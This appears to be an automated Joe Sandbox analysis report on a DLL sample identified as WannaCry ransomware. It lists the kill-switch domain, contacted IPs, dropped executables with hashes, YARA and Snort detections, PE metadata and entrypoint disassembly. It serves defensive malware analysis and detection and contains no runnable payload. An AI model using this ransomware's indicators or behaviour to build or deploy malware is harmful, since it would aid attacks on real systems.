https://www.tiktok.com/legal/report/feedback	svchost.exe, 0000001B.00000003.732417365.000002208D002000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000001B.00000003.732322584.000002208CB9F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000001B.00000003.732387069.000002208CB8C000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.iuqerfsodp9ifjaposdfjhgosurijfaewrwergwff.comJ	mssecsvr.exe, 00000007.00000002.977783240.000000000019C000.00000004.00000010.00020000.00000000.sdmp	true	URL Reputation: safe	unknown
http://www.iuqerfsodp9ifjaposdfjhgosurijfaewrwergwff.com/x	mssecsvr.exe, 00000007.00000003.386463746.0000000000B05000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
http://help.disneyplus.com.	svchost.exe, 0000001B.00000003.728521628.000002208CB8C000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://support.hotspotshield.com/	svchost.exe, 0000001B.00000003.723059102.000002208D002000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000001B.00000003.723097648.000002208D003000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000001B.00000003.723584349.000002208CBB0000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000001B.00000003.723358311.000002208CB9F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000001B.00000003.723838506.000002208D019000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000001B.00000003.723799270.000002208CB8C000.00000004.00000020.00020000.00000000.sdmp	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
17.119.128.15	unknown	United States	714	APPLE-ENGINEERINGUS	false
59.179.174.56	unknown	India	17813	MTNL-APMahanagarTelephoneNigamLimitedIN	false
98.42.123.74	unknown	United States	7922	COMCAST-7922US	false
126.113.157.134	unknown	Japan	17676	GIGAINFRASoftbankBBCorpJP	false
3.236.167.176	unknown	United States	14618	AMAZON-AESUS	false
163.82.77.141	unknown	France	17816	CHINA169-GZChinaUnicomIPnetworkChina169Guangdongprovi	false
82.39.88.73	unknown	United Kingdom	5089	NTLGB	false
126.17.222.131	unknown	Japan	17676	GIGAINFRASoftbankBBCorpJP	false
140.225.101.104	unknown	United States	14763	STKATEUS	false
6.117.183.56	unknown	United States	3356	LEVEL3US	false
26.28.0.110	unknown	United States	7922	COMCAST-7922US	false
97.70.14.233	unknown	United States	33363	BHN-33363US	false
98.123.40.124	unknown	United States	10796	TWC-10796-MIDWESTUS	false
101.203.157.15	unknown	China	17676	GIGAINFRASoftbankBBCorpJP	false
135.115.198.104	unknown	United States	10455	LUCENT-CIOUS	false
179.77.12.122	unknown	Brazil	26615	TIMSABR	false
94.123.213.206	unknown	Turkey	12978	DOGAN-ONLINETR	false
68.6.156.69	unknown	United States	22773	ASN-CXA-ALL-CCI-22773-RDCUS	false
42.215.179.249	unknown	China	4249	LILLY-ASUS	false
25.191.16.124	unknown	United Kingdom	7922	COMCAST-7922US	false
18.45.230.106	unknown	United States	3	MIT-GATEWAYSUS	false
38.41.104.116	unknown	United States	174	COGENT-174US	false
9.73.213.124	unknown	United States	3356	LEVEL3US	false
134.250.63.174	unknown	United States	210	WEST-NET-WESTUS	false
162.203.206.235	unknown	United States	7018	ATT-INTERNET4US	false
83.168.24.184	unknown	Cyprus	6866	CYTA-NETWORKInternetServicesCY	false
35.115.233.224	unknown	United States	237	MERIT-AS-14US	false
148.250.197.4	unknown	Mexico	6503	AxtelSABdeCVMX	false
171.108.141.243	unknown	China	4134	CHINANET-BACKBONENo31Jin-rongStreetCN	false
70.85.199.236	unknown	United States	36351	SOFTLAYERUS	false
159.45.2.200	unknown	United States	10837	WELLSFARGO-10837US	false
13.236.3.188	unknown	United States	16509	AMAZON-02US	false
30.13.226.69	unknown	United States	7922	COMCAST-7922US	false
63.69.74.166	unknown	United States	701	UUNETUS	false
36.60.77.99	unknown	China	4134	CHINANET-BACKBONENo31Jin-rongStreetCN	false
165.157.168.89	unknown	United States	54996	SCRIPPSHEALTHUS	false
112.52.186.172	unknown	China	9808	CMNET-GDGuangdongMobileCommunicationCoLtdCN	false
62.94.212.218	unknown	Italy	15589	ASN-CLOUDITALIAIT	false
173.228.186.203	unknown	United States	11403	NYINTERNETUS	false
66.227.141.15	unknown	United States	20115	CHARTER-20115US	false
121.178.124.195	unknown	Korea Republic of	4766	KIXS-AS-KRKoreaTelecomKR	false
142.195.215.167	unknown	Canada	64258	DESJARDINSCA	false
177.110.74.182	unknown	Brazil	26615	TIMSABR	false
40.55.96.108	unknown	United States	4249	LILLY-ASUS	false
80.141.51.223	unknown	Germany	3320	DTAGInternetserviceprovideroperationsDE	false
36.127.156.235	unknown	China	4847	CNIX-APChinaNetworksInter-ExchangeCN	false
132.151.50.49	unknown	United States	545	NRIUS	false
37.112.182.62	unknown	Russian Federation	50512	BARNAUL-ASRU	false
217.172.236.77	unknown	Poland	21021	MULTIMEDIA-ASCableDTVInternetVoiceProviderinPoland	false
43.238.24.200	unknown	China	17506	UCOMARTERIANetworksCorporationJP	false
191.72.58.247	unknown	Colombia	26611	COMCELSACO	false
150.205.71.236	unknown	Switzerland	786	JANETJiscServicesLimitedGB	false

Private

IP
192.168.2.148
192.168.2.149
192.168.2.146
192.168.2.147
192.168.2.140
192.168.2.141
192.168.2.144
192.168.2.145
192.168.2.142
192.168.2.143
192.168.2.159
192.168.2.157
192.168.2.158
192.168.2.151
192.168.2.152
192.168.2.150
192.168.2.155
192.168.2.156
192.168.2.153
192.168.2.154
192.168.2.126
192.168.2.127
192.168.2.124
192.168.2.125
192.168.2.128
192.168.2.129
192.168.2.122
192.168.2.123
192.168.2.120
192.168.2.121
192.168.2.97
192.168.2.137
192.168.2.96
192.168.2.138
192.168.2.99
192.168.2.135
192.168.2.98
192.168.2.136
192.168.2.139
192.168.2.130
192.168.2.91
192.168.2.90
192.168.2.93
192.168.2.133
192.168.2.92
192.168.2.134
192.168.2.95
192.168.2.131

General Information

Joe Sandbox Version:	35.0.0 Citrine
Analysis ID:	670268
Start date and time: 20/07/202219:28:43	2022-07-20 19:28:43 +02:00
Joe Sandbox Product:	CloudBasic
Overall analysis duration:	0h 12m 45s
Hypervisor based Inspection enabled:	false
Report type:	full
Sample file name:	goN6vVlV2F (renamed file extension from none to dll)
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 64 bit v1803 with Office Professional Plus 2016, Chrome 85, IE 11, Adobe Reader DC 19, Java 8 Update 211
Number of analysed new started processes analysed:	29
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled HDC enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Detection:	MAL
Classification:	mal100.rans.troj.expl.evad.winDLL@24/5@5/100
EGA Information:	Successful, ratio: 100%
HDC Information:	Successful, ratio: 99.7% (good quality ratio 97.5%) Quality average: 87.1% Quality standard deviation: 21.1%
HCA Information:	Successful, ratio: 76% Number of executed functions: 68 Number of non-executed functions: 91
Cookbook Comments:	Adjust boot time Enable AMSI Override analysis time to 240s for rundll32

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, audiodg.exe, BackgroundTransferHost.exe, WMIADAP.exe, backgroundTaskHost.exe, conhost.exe, wuapihost.exe
Excluded IPs from analysis (whitelisted): 23.211.6.115, 173.222.108.210, 23.35.236.56, 20.223.24.244, 40.119.249.228, 40.74.108.123
Excluded domains from analysis (whitelisted): settings-prod-sea-2.southeastasia.cloudapp.azure.com, store-images.s-microsoft.com-c.edgekey.net, settings-prod-wjp-1.japanwest.cloudapp.azure.com, fs-wildcard.microsoft.com.edgekey.net, fs-wildcard.microsoft.com.edgekey.net.globalredir.akadns.net, arc.msn.com, e12564.dspb.akamaiedge.net, consumer-displaycatalogrp-aks2aks-europe.md.mp.microsoft.com.akadns.net, login.live.com, sls.update.microsoft.com, displaycatalog.mp.microsoft.com, img-prod-cms-rt-microsoft-com.akamaized.net, prod.fs.microsoft.com.akadns.net, www.bing.com, client.wns.windows.com, fs.microsoft.com, displaycatalog-rp-europe.md.mp.microsoft.com.akadns.net, neu-displaycatalogrp.useroor.bigcatalog.commerce.microsoft.com, ctldl.windowsupdate.com, e1723.g.akamaiedge.net, settings-win.data.microsoft.com, atm-settingsfe-prod-weighted.trafficmanager.net, ris.api.iris.microsoft.com, store-images.s-microsoft.com, displaycatalog-rp.md.mp.microsoft.com.akadns.net
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size exceeded maximum capacity and may have missing network information.
Report size getting too big, too many NtDeviceIoControlFile calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.

Simulations

Behavior and APIs

Time	Type	Description
19:30:06	API Interceptor	1x Sleep call for process: loaddll32.exe modified
19:31:38	API Interceptor	10x Sleep call for process: svchost.exe modified

Joe Sandbox View / Context

IPs

⊘No context

Domains

⊘No context

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
MTNL-APMahanagarTelephoneNigamLimitedIN	Gg325Fi5sw.dll	Get hash	malicious	Browse	120.61.64.141
	fPFPnWqeow.dll	Get hash	malicious	Browse	59.176.249.89
	5m8nefcbvw.dll	Get hash	malicious	Browse	120.59.174.41
	ZI1xhsXzRQ.dll	Get hash	malicious	Browse	120.62.134.160
	xKYS74uPIf.dll	Get hash	malicious	Browse	120.61.108.51
	2CrxjQDltm.dll	Get hash	malicious	Browse	182.59.154.189
	27wTJyGMXu.dll	Get hash	malicious	Browse	120.58.180.121
	9TfmBvQvzC.dll	Get hash	malicious	Browse	59.179.254.30
	C4WlUP4hCk.dll	Get hash	malicious	Browse	59.179.198.17
	vO81o4mObp.dll	Get hash	malicious	Browse	59.180.79.189
	6QkIGQoSGY	Get hash	malicious	Browse	120.58.140.212
	rfPNd4LGRl	Get hash	malicious	Browse	120.56.147.55
	DWPsUbp6tU	Get hash	malicious	Browse	182.60.194.162
	PNWovdT0ck.exe	Get hash	malicious	Browse	120.58.97.33
	x86	Get hash	malicious	Browse	59.181.199.83
	db0fa4b8db0333367e9bda3ab68b8042.m68k	Get hash	malicious	Browse	120.59.35.25
	helios.x86	Get hash	malicious	Browse	59.181.165.116
	Z0xvzu3YvS	Get hash	malicious	Browse	120.61.209.252
	boat.x86-20220709-1950	Get hash	malicious	Browse	120.63.155.172
	szW5a1on1t	Get hash	malicious	Browse	120.57.250.182

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
bd0bf25947d4a37404f0424edf4db9ad	WV7Bz2jmCx.dll	Get hash	malicious	Browse	20.190.159.68 52.242.101.226 40.125.122.176 52.152.110.14 20.190.159.71 20.54.89.106
	l7UOFkZjWm.dll	Get hash	malicious	Browse	20.190.159.68 52.242.101.226 40.125.122.176 52.152.110.14 20.190.159.71 20.54.89.106
	WTU37w2UrJ.dll	Get hash	malicious	Browse	20.190.159.68 52.242.101.226 40.125.122.176 52.152.110.14 20.190.159.71 20.54.89.106
	FFrKRs5Q7y.dll	Get hash	malicious	Browse	20.190.159.68 52.242.101.226 40.125.122.176 52.152.110.14 20.190.159.71 20.54.89.106
	kFsMzLOFfN.dll	Get hash	malicious	Browse	20.190.159.68 52.242.101.226 40.125.122.176 52.152.110.14 20.190.159.71 20.54.89.106
	5YYEX703pq.dll	Get hash	malicious	Browse	20.190.159.68 52.242.101.226 40.125.122.176 52.152.110.14 20.190.159.71 20.54.89.106
	Gg325Fi5sw.dll	Get hash	malicious	Browse	20.190.159.68 52.242.101.226 40.125.122.176 52.152.110.14 20.190.159.71 20.54.89.106
	QbNF1cvpa0.dll	Get hash	malicious	Browse	20.190.159.68 52.242.101.226 40.125.122.176 52.152.110.14 20.190.159.71 20.54.89.106
	gaxuKGW0Q6.dll	Get hash	malicious	Browse	20.190.159.68 52.242.101.226 40.125.122.176 52.152.110.14 20.190.159.71 20.54.89.106
	3riwwi5S3o.dll	Get hash	malicious	Browse	20.190.159.68 52.242.101.226 40.125.122.176 52.152.110.14 20.190.159.71 20.54.89.106
	1lRKsdR45K.dll	Get hash	malicious	Browse	20.190.159.68 52.242.101.226 40.125.122.176 52.152.110.14 20.190.159.71 20.54.89.106
	ffv4z4GV2N.dll	Get hash	malicious	Browse	20.190.159.68 52.242.101.226 40.125.122.176 52.152.110.14 20.190.159.71 20.54.89.106
	QmJnZP8ksS.dll	Get hash	malicious	Browse	20.190.159.68 52.242.101.226 40.125.122.176 52.152.110.14 20.190.159.71 20.54.89.106
	u6J827hhVw.dll	Get hash	malicious	Browse	20.190.159.68 52.242.101.226 40.125.122.176 52.152.110.14 20.190.159.71 20.54.89.106
	F69dHHlM21.dll	Get hash	malicious	Browse	20.190.159.68 52.242.101.226 40.125.122.176 52.152.110.14 20.190.159.71 20.54.89.106
	LBp1bpdc2J.dll	Get hash	malicious	Browse	20.190.159.68 52.242.101.226 40.125.122.176 52.152.110.14 20.190.159.71 20.54.89.106
	71g6KUSawq.dll	Get hash	malicious	Browse	20.190.159.68 52.242.101.226 40.125.122.176 52.152.110.14 20.190.159.71 20.54.89.106
	HixFSv1wxE.dll	Get hash	malicious	Browse	20.190.159.68 52.242.101.226 40.125.122.176 52.152.110.14 20.190.159.71 20.54.89.106
	rQJydZ0McE.dll	Get hash	malicious	Browse	20.190.159.68 52.242.101.226 40.125.122.176 52.152.110.14 20.190.159.71 20.54.89.106
	L0nkxaIRJN.dll	Get hash	malicious	Browse	20.190.159.68 52.242.101.226 40.125.122.176 52.152.110.14 20.190.159.71 20.54.89.106

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Link
C:\Windows\eee.exe	QbNF1cvpa0.dll	Get hash	malicious	Browse
	vGJZ7R5D9P.dll	Get hash	malicious	Browse
	vEbriCJic0.dll	Get hash	malicious	Browse
	48O5lgRp91.dll	Get hash	malicious	Browse
	PDAZE3eQB1.dll	Get hash	malicious	Browse
	rBsGH746YC.dll	Get hash	malicious	Browse
	dKkvbrzdUL.dll	Get hash	malicious	Browse
	UjhHNEfOFP.dll	Get hash	malicious	Browse
	d8oGI2K5Bi.dll	Get hash	malicious	Browse

Created / dropped Files

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	Extensible storage engine DataBase, version 0x620, checksum 0xafb3523f, page size 16384, DirtyShutdown, Windows version 10.0
Category:	dropped
Size (bytes):	786432
Entropy (8bit):	0.2506836322476659
Encrypted:	false
SSDEEP:	384:M+W0StseCJ48EApW0StseCJ48E2rTSjlK/ebmLerYSRSY1J2:TSB2nSB2RSjlK/+mLesOj1J2
MD5:	91818464770D06702A83157DB643C723
SHA1:	C80A564BC516254B5DA5DD4D79312E80810AE918
SHA-256:	2B6082A0D53CCFADB097BE36231B33481D6E0004CAFD5EC0811CA867488B514B
SHA-512:	C28BEDEF497CD19161CD7AAFD316FC067C1B9E21DA6B8EBF0DCB3CDAFA266063B507D820EA9A4258E6CED3BB46EF9B230FC043F48777D1498B3F6841664A750D
Malicious:	false
Preview:	..R?... ................e.f.3...w........................&..........w..'....z..h.(..............................3...w...........................................................................................................B...........@...................................................................................................... ........3...w......................................................................................................................................................................................................................................6v,.'....z...................#..'....z..........................................................................................................................................................................................................................................................................................................................................................................................

C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	55
Entropy (8bit):	4.306461250274409
Encrypted:	false
SSDEEP:	3:YDQRWu83XfAw2fHbY:YMRl83Xt2f7Y
MD5:	DCA83F08D448911A14C22EBCACC5AD57
SHA1:	91270525521B7FE0D986DB19747F47D34B6318AD
SHA-256:	2B4B2D4A06044AD0BD2AE3287CFCBECD90B959FEB2F503AC258D7C0A235D6FE9
SHA-512:	96F3A02DC4AE302A30A376FC7082002065C7A35ECB74573DE66254EFD701E8FD9E9D867A2C8ABEB4C482738291B715D4965A0D2412663FDF1EE6CBC0BA9FBACA
Malicious:	false
Preview:	{"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

C:\Windows\eee.exe

Download File

Process:	C:\Windows\tasksche.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1981503
Entropy (8bit):	1.1514036614623402
Encrypted:	false
SSDEEP:	3072:Pm7CQNtZU+mWdyVsJM5MelfvtNdQU/2DRIYUoNv+byel0QWq:PsCwu+mWhJifvtNP/7YXYlW
MD5:	03880BEAD20960FEF3D46ADE3C83E1BD
SHA1:	62EECEF13F3125CF8E4212D4AD85AB45E091830D
SHA-256:	92B0BECA439DB25D7098379CEE580FA69F6F5E7271708BDEC03AB8FF526426D8
SHA-512:	8534E48D702AFB70A4537096AEC7EBB1E4C1A4CF14A44F7C1F7D8DF972742A5E0A49738124891843CF10E390379ECEEFC7882A0BE6AEA206A6583BC4B1194F9D
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: Metadefender, Detection: 6%, Browse Antivirus: ReversingLabs, Detection: 12%
Joe Sandbox View:	Filename: QbNF1cvpa0.dll, Detection: malicious, Browse Filename: vGJZ7R5D9P.dll, Detection: malicious, Browse Filename: vEbriCJic0.dll, Detection: malicious, Browse Filename: 48O5lgRp91.dll, Detection: malicious, Browse Filename: PDAZE3eQB1.dll, Detection: malicious, Browse Filename: rBsGH746YC.dll, Detection: malicious, Browse Filename: dKkvbrzdUL.dll, Detection: malicious, Browse Filename: UjhHNEfOFP.dll, Detection: malicious, Browse Filename: d8oGI2K5Bi.dll, Detection: malicious, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........1..`_Z.`_Z.`_Z...Z.`_Z...Z1`_Z...Z.`_Z.>\[.`_Z.>[[.`_Z.>Z[.`_Z...Z.`_Z...Z.`_Z.`^Z@`_Z->Z[.`_Z->_[.`_Z(>.Z.`_Z->][.`_ZRich.`_Z........PE..L......Y..........................................@.......................... ............@.........................@...4...t...(........:......................X...Pn..T...............................@...................... ....................text............................... ..`.rdata..............................@..@.data...............................@....gfids..............................@..@.rsrc....F.......H..................@..@.reloc..X........ ..................@..B........................................................................................................................................................................................................................................................

C:\Windows\mssecsvr.exe

Download File

Process:	C:\Windows\SysWOW64\rundll32.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2281472
Entropy (8bit):	7.213537420094262
Encrypted:	false
SSDEEP:	49152:QnpEKUacBVQej/1INRx+TSqTdX1HkQo6SA/n:QpyfBhz1aRxcSUDk36SA/n
MD5:	194F97335AE6E66ED6F540FD3401B582
SHA1:	9C4DA4C83C6E6C9209D9099CEEAE44DA3F86A6CA
SHA-256:	3AC79B296036E749D4139EC348D57539D2CB6C1561A8BC683D6410A32E49D37F
SHA-512:	35055C0C49D7397A68F3A9901A99ECA59F616B1943204199AC40CD622B3FAA79968B7A102947EE404B847E10AA5858E5AA53E1DC22C0989D80543DAF6B1B6AF9
Malicious:	true
Yara Hits:	Rule: WannaCry_Ransomware, Description: Detects WannaCry Ransomware, Source: C:\Windows\mssecsvr.exe, Author: Florian Roth (with the help of binar.ly) Rule: WannaCry_Ransomware_Gen, Description: Detects WannaCry Ransomware, Source: C:\Windows\mssecsvr.exe, Author: Florian Roth (based on rule by US CERT) Rule: JoeSecurity_Wannacry, Description: Yara detected Wannacry ransomware, Source: C:\Windows\mssecsvr.exe, Author: Joe Security
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: Metadefender, Detection: 86%, Browse Antivirus: ReversingLabs, Detection: 98%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......U<S..]=..]=..]=.jA1..]=.A3..]=.~B7..]=.~B6..]=.~B9..]=..R`..]=..]<.J]=.'{6..]=..[;..]=.Rich.]=.........................PE..L.....L......................"...................@...........................P......................................................1..z...........................................................................................................text.............................. ..`.rdata..............................@..@.data....H0......p..................@....rsrc.........1...... ..............@..@........................................................................................................................................................................................................................................................................................................................................................

C:\Windows\tasksche.exe

Download File

Process:	C:\Windows\mssecsvr.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows, RAR self-extracting archive
Category:	dropped
Size (bytes):	2061938
Entropy (8bit):	7.263420588823257
Encrypted:	false
SSDEEP:	49152:XEKUacBVQej/1INRx+TSqTdX1HkQo6SA/m:XyfBhz1aRxcSUDk36SA/m
MD5:	9494E383608D476886FF411EA3114831
SHA1:	FA560724DC6400D85C7173607D8CAC66804A8296
SHA-256:	7D0D49B06F69B6307E2A88FD83CEA953F602BFD1711D6A23F4591072BD0BEDB9
SHA-512:	D697DD578457262FC87775AE21350EDD4F3A928968FFBB34AE2E459DB41C90D0F03C78759D9A28024B627638B516BB8CB2F2A9122E9E31318F739E0D23FACF98
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........&K.WG%.WG%.WG%.^?..LG%.^?...G%.^?..BG%.WG$.G%.^?..0G%.^?..VG%.^?..VG%.^?..VG%.RichWG%.................PE..L......U..........................................@..........................`......................................p...3............ ..(9..............................................................@............................................text.............................. ..`.rdata...P.......R..................@..@.data...(...........................@....rsrc...(9... ...:..................@..@........................................................................................................................................................................................................................................................................................................................................................................

Static File Info

General

File type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Entropy (8bit):	3.7703884203652525
TrID:	Win32 Dynamic Link Library (generic) (1002004/3) 98.32% Windows Screen Saver (13104/52) 1.29% Generic Win/DOS Executable (2004/3) 0.20% DOS Executable Generic (2002/1) 0.20% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	goN6vVlV2F.dll
File size:	5267459
MD5:	9bea897dbffc0a5b5436c1ca8a8fb9b5
SHA1:	b7116762ef74b736ff59a21288dc2a686c072315
SHA256:	539c9736336b67145bd0a746571ae738b55f43e3848e6d9ff5b1a942c2fb194f
SHA512:	1d4321912e1cf9c4fe322d0b6f1bbe17d951c7cee7f9d94221bf5520ec19d6e64c4d62561803bcb2d6fb8caced097030cab00ca9da373664afe9cfea710d3ff3
SSDEEP:	49152:RnpEKUacBVQej/1INRx+TSqTdX1HkQo6SA/:1pyfBhz1aRxcSUDk36SA/
TLSH:	C836236630E8C0B4D103557044ABCB62E5B57C2A27BA694F7FD00E7E2E237A6E715B43
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......}.r_9...9...9.......=...9...6.....A.:.......8.......8.......:...Rich9...........................PE..L...QW.Y...........!.......

File Icon


Icon Hash:	74f0e4ecccdce0e4

Static PE Info

General

Entrypoint:	0x100011e9
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x10000000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE, DLL
DLL Characteristics:
Time Stamp:	0x59145751 [Thu May 11 12:21:37 2017 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	4
OS Version Minor:	0
File Version Major:	4
File Version Minor:	0
Subsystem Version Major:	4
Subsystem Version Minor:	0
Import Hash:	2e5708ae5fed0403e8117c645fb23e5b

Entrypoint Preview

Instruction
push ebp
mov ebp, esp
push ebx
mov ebx, dword ptr [ebp+08h]
push esi
mov esi, dword ptr [ebp+0Ch]
push edi
mov edi, dword ptr [ebp+10h]
test esi, esi
jne 00007F4B84AF4A4Bh
cmp dword ptr [10003140h], 00000000h
jmp 00007F4B84AF4A68h
cmp esi, 01h
je 00007F4B84AF4A47h
cmp esi, 02h
jne 00007F4B84AF4A64h
mov eax, dword ptr [10003150h]
test eax, eax
je 00007F4B84AF4A4Bh
push edi
push esi
push ebx
call eax
test eax, eax
je 00007F4B84AF4A4Eh
push edi
push esi
push ebx
call 00007F4B84AF495Ah
test eax, eax
jne 00007F4B84AF4A46h
xor eax, eax
jmp 00007F4B84AF4A90h
push edi
push esi
push ebx
call 00007F4B84AF480Ch
cmp esi, 01h
mov dword ptr [ebp+0Ch], eax
jne 00007F4B84AF4A4Eh
test eax, eax
jne 00007F4B84AF4A79h
push edi
push eax
push ebx
call 00007F4B84AF4936h
test esi, esi
je 00007F4B84AF4A47h
cmp esi, 03h
jne 00007F4B84AF4A68h
push edi
push esi
push ebx
call 00007F4B84AF4925h
test eax, eax
jne 00007F4B84AF4A45h
and dword ptr [ebp+0Ch], eax
cmp dword ptr [ebp+0Ch], 00000000h
je 00007F4B84AF4A53h
mov eax, dword ptr [10003150h]
test eax, eax
je 00007F4B84AF4A4Ah
push edi
push esi
push ebx
call eax
mov dword ptr [ebp+0Ch], eax
mov eax, dword ptr [ebp+0Ch]
pop edi
pop esi
pop ebx
pop ebp
retn 000Ch
jmp dword ptr [10002028h]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al

Rich Headers

Programming Language:

[ C ] VS98 (6.0) build 8168
[C++] VS98 (6.0) build 8168
[RES] VS98 (6.0) cvtres build 1720
[LNK] VS98 (6.0) imp/exp build 8168

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x2190	0x48	.rdata
IMAGE_DIRECTORY_ENTRY_IMPORT	0x203c	0x3c	.rdata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x4000	0x500060	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x505000	0x5c	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x2000	0x3c	.rdata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x28c	0x1000	False	0.13037109375	data	1.4429971244731552	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rdata	0x2000	0x1d8	0x1000	False	0.072509765625	data	0.7346018133622799	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.data	0x3000	0x154	0x1000	False	0.016845703125	data	0.085726967663312	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x4000	0x500060	0x501000	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.reloc	0x505000	0x2ac	0x1000	False	0.00634765625	data	0.0	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country
W	0x4060	0x500000	data	English	United States

Imports

DLL	Import
KERNEL32.dll	CloseHandle, WriteFile, CreateFileA, SizeofResource, LockResource, LoadResource, FindResourceA, CreateProcessA
MSVCRT.dll	free, _initterm, malloc, _adjust_fdiv, sprintf

Exports

Name	Ordinal	Address
PlayGame	1	0x10001114

Possible Origin

Language of compilation system	Country where language is spoken	Map
English	United States

Network Behavior

Snort IDS Alerts

Timestamp	Protocol	SID	Message	Source Port	Dest Port	Source IP	Dest IP
192.168.2.78.8.8.860996532830018 07/20/22-19:30:12.626621	UDP	2830018	ETPRO TROJAN Observed WannaCry Domain (iuqerfsodp9ifjaposdfjhgosurijfaewrwergwff .com in DNS Lookup)	60996	53	192.168.2.7	8.8.8.8
192.168.2.78.8.8.850519532830018 07/20/22-19:30:12.137675	UDP	2830018	ETPRO TROJAN Observed WannaCry Domain (iuqerfsodp9ifjaposdfjhgosurijfaewrwergwff .com in DNS Lookup)	50519	53	192.168.2.7	8.8.8.8
192.168.2.78.8.8.863557532830018 07/20/22-19:30:09.214172	UDP	2830018	ETPRO TROJAN Observed WannaCry Domain (iuqerfsodp9ifjaposdfjhgosurijfaewrwergwff .com in DNS Lookup)	63557	53	192.168.2.7	8.8.8.8

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jul 20, 2022 19:29:55.088697910 CEST	443	49722	20.31.108.18	192.168.2.7
Jul 20, 2022 19:29:55.088921070 CEST	49722	443	192.168.2.7	20.31.108.18
Jul 20, 2022 19:29:55.090931892 CEST	443	49723	20.31.108.18	192.168.2.7
